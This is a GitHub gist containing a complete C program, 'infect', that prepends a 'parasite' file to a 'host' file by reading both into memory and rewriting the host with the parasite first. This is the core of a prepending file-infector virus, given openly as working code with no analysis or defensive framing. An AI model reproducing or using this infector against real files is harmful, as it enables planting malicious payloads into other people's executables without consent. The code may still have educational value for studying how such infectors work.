Skip to content

Instantly share code, notes, and snippets.

@aaronyoo
Created January 7, 2019 04:31
Show Gist options
  • Save aaronyoo/447d3dcae9d8e4f67b0e5b274c0228c9 to your computer and use it in GitHub Desktop.
Save aaronyoo/447d3dcae9d8e4f67b0e5b274c0228c9 to your computer and use it in GitHub Desktop.
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
int main(int argc, char **argv) {
if (argc != 3) {
printf("Usage: ./infect [host] [parasite]\n");
exit(0);
}
char *host = argv[1];
char *parasite = argv[2];
/* Open the host file */
FILE *host_fp = fopen(host, "r+");
if (host_fp == NULL) {
perror("Could not open the host file");
exit(1);
}
/* Get the size of the host file */
fseek(host_fp, 0L, SEEK_END);
int host_size = ftell(host_fp);
fseek(host_fp, 0L, SEEK_SET);
/* Allocate a buffer for the host file */
char *host_buffer = calloc(host_size, sizeof(char));
if (host_buffer == NULL) {
perror("calloc");
exit(1);
}
/* Copy the host file into the buffer */
fread(host_buffer, sizeof(char), host_size, host_fp);
/* Same operations for the parasite file */
FILE *parasite_fp = fopen(parasite, "r");
if (parasite_fp == NULL) {
perror("Could not open parasite file");
exit(1);
}
fseek(parasite_fp, 0L, SEEK_END);
int parasite_size = ftell(parasite_fp);
fseek(parasite_fp, 0L, SEEK_SET);
char *parasite_buffer = calloc(parasite_size, sizeof(char));
if (parasite_buffer == NULL) {
perror("calloc");
exit(1);
}
fread(parasite_buffer, sizeof(char), parasite_size, parasite_fp);
fclose(parasite_fp);
/* Write the parasite and then the old host to the host file */
fseek(host_fp, 0L, SEEK_SET);
fwrite(parasite_buffer, sizeof(char), parasite_size, host_fp);
fwrite(host_buffer, sizeof(char), host_size, host_fp);
fclose(host_fp);
free(host_buffer);
free(parasite_buffer);
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment